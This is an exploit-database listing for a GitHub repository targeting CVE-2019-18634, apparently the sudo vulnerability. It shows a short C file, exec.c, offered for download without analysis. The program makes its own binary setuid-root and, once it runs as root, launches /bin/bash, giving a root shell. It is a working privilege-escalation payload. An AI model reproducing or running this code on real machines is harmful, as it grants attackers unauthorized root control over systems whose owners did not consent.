Exploit databaseDownload repository ZIP
GH-90491da5b4249a1280a3fb916dcf9cff
n1et/cve-2019-18634
Sources for CVE-2019-18634
13 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
n1et/cve-2019-18634Revision 76fd4c83342f
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exec.c
C · 575 bytes#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
printf("Exploiting!\n");
int fd = open("/proc/self/exe", O_RDONLY);
struct stat st;
fstat(fd, &st);
if (st.st_uid != 0)
{
fchown(fd, 0, st.st_gid);
fchmod(fd, S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
}
else
{
setuid(0);
execve("/bin/bash", NULL ,NULL);
}
return 0;
}